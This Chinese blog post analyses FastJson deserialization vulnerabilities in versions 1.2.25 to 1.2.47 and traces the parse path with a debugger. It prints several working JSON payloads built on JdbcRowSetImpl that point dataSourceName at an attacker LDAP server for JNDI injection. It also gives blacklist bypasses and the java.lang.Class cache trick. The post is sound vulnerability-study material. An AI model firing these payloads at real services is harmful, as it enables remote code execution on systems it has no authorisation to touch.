目录
0x03 FastJson 1.2.25-1.2.47 利用链分析
1、开启autoTypeSupport:1.2.25-1.2.41
2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!??
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
关于?javax.naming.InitialContext.lookup(),在我之前的文章讲过,不再赘述
文章链接:JNDI注入&Log4j&FastJson&白盒审计&不回显处理-CSDN博客
方式1:
new InitialContext().lookup("ldap://192.168.196.128:1389/anqqyh");
方式2:
InitialContext var1 = new InitialContext();
DataSource lookup = (DataSource) var1.lookup("ldap://192.168.196.128:1389/anqqyh");
String userStr = "{\"@type\":\"com.example.fastjsondemo.demos.web.User\",\"age\":21,\"name\":\"ch4ser\"}";
JSONObject data = JSON.parseObject(userStr);
System.out.println(data);
观察到 FastJson 解析 JSON 字符串时会自动执行类的 get 和 set 方法,这是因为 FastJson 反序列化用的是自定义方法,而不是原生的反序列化(原生的并不会执行类的 get 和 set 方法),这也是后续利用的关键点
?
1.2.24及以下没有对序列化的类做校验,导致漏洞产生
1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。
1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式
1.2.43版本是对1.2.42及以下版本的黑名单绕过
1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
1.2.47版本?利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击
1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破
1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验
1.2.72-1.2.80使用期望类Throwable的子类,进行绕过
Poc:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}
在?JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析
?
步入,发现 parseObject() 其实也会用到 parse(),这里的 parse() 是 JSONObject 类的方法
?
步入,这里首先创建一个 DefaultJSONParser 对象,然后调用 parse() 方法来解析 JSON 字符串
DefaultJSONParser 是 FastJson 解析 JSON 字符串的核心组件,parse() 是 DefaultJSONParser 类中的一个方法
整个解析过程分为两个阶段:
1、判断是否为 JSON 字符串格式
2、键(key)? 、值(value) 的获取
?
来到 DefaultJSONParser.class,关注到如下代码:
1、判断 key 是否等于 DEFAULT_TYPE_KEY(即@type)
2、调用 scanSymbol 方法解析出 key 对应的 value
3、通过 loadClass 获取指定类的 Class 对象并赋值给变量 clazz(涉及Java反射机制)
?
?
继续跟进,这里通过 getDeserializer 获取反序列化器,然后调用其?deserialze 方法进行反序列化
?
点击调试窗的 Navigate,来到对应反序列化的类 JdbcRowSetImpl.class
?
发现该类的?connect() 方法使用了 InitialContext.lookup(),这就是造成JNDI 注入的关键点
?
继续搜索发现 setAutoCommit 方法调用了 connect 方法
?
1、由于 lookup() 传入的变量为 this.getDataSourceName(),想到可以控制?dataSourceName 值,让其等于 ldap://192.168.196.128:1389/5ltgie 构造 JNDI 注入
2、由于 setAutoCommit 调用了 connect,那么控制 autoCommit 为 true 即可触发
3、完整的 Poc 为:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}
parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->
JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)
1、autoTypeSupport?
autoTypeSupport默认是关闭的
2、怎么打开autoTypeSupport?
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
2、Poc?
在原来基础上前加 "L",后加 ";"
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
"autoCommit":true
}
在?JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析
?
来到 DefaultJSONParser.class,与之前不同的是这里新增了 checkAutoType 方法,顾名思义就是用来检测?autoTypeSupport 的
?
步入,由于开启了 autoTypeSupport=true,所以这里进行了白、黑名单检测
我没有进行任何修改情况下,白名单默认是空的,黑名单有22个
?
经过白、黑名单后,下一步又来到了熟悉的 loadClass
?
步入,发现其做了两个处理:
1、若 className 开头为 "]",则获取去掉后 "]" 的 Class 对象
2、若 className 开头为 "L"?且结尾为 ";",则获取去掉 "L" 和 ";" 后的 Class 对象
?
在未处理前,className 如下:
?
在处理后,className 如下:
?
由此可见又变回了?com.sun.rowset.JdbcRowSetImpl,后续操作同理,不再赘述
1、由于 loadClass 对以"L"为开头且以";"为结尾的className做了去除处理,所以只需前加"L"后加";"即可
3、完整的 Poc 为:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
"autoCommit":true
}
checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName
若默认关闭autoTypeSupport,整个Poc执行流程是怎样的呢?如下:
来到 DefaultJSONParser.class,可以看到这里 autoTypeSupport 是为 false的,所以没有像开启时一样进入这个白、黑名单判断
?
而是来到了下面这个黑、白名单判断
?
紧接着来到了下面的 if 判断,最终抛出了异常,GG掉了
?
后续版本绕过思路(开启 autoTypeSupport 情况):
1.2.42 版本:
该版本先判断反序列化目标类的类名前后是不是 'L' 和 ';'
若是,则先去掉 'L' 和 ';' ,再黑白名单校验
其绕过非常简单,只需要双写 'L' 和 ';'
1.2.43 版本:
黑白名单判断前,新增了一个是否以 'LL' 开头的判断
若以 'LL' 开头,则直接抛异常,非常随意解决了双写的问题
但是除了'L' 和 ';',FastJson在加载类的时候,对 '[' 也特殊处理了
其绕过为在前面添加 '['
1.2.44 版本:
来了个狠的,只要你以 '[' 开头或者 ';' 结尾,直接抛异常,终于解决了缠绵多个版本的漏洞
1、poc?
testStr={
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r",
"autoCommit":true
}
}
这种通杀方案不需要开启 autoTypeSupport,同样我也跟着调试了一遍,但是跟的不是很清晰,后来问师傅才知道为什么这个 poc 要这样写。
FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。
第一步利用java.lang.Class将恶意类加载到mappings中;
第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。
简单来说,可以理解为 java.lang.Class?是白名单,先用 a 的 java.lang.Class 白名单把 com.sun.rowset.JdbcRowSetImpl 恶意类加载到 mappings,然后到处理 b 的时候就直接从 mappings 拿数据,就不会进入到黑名单了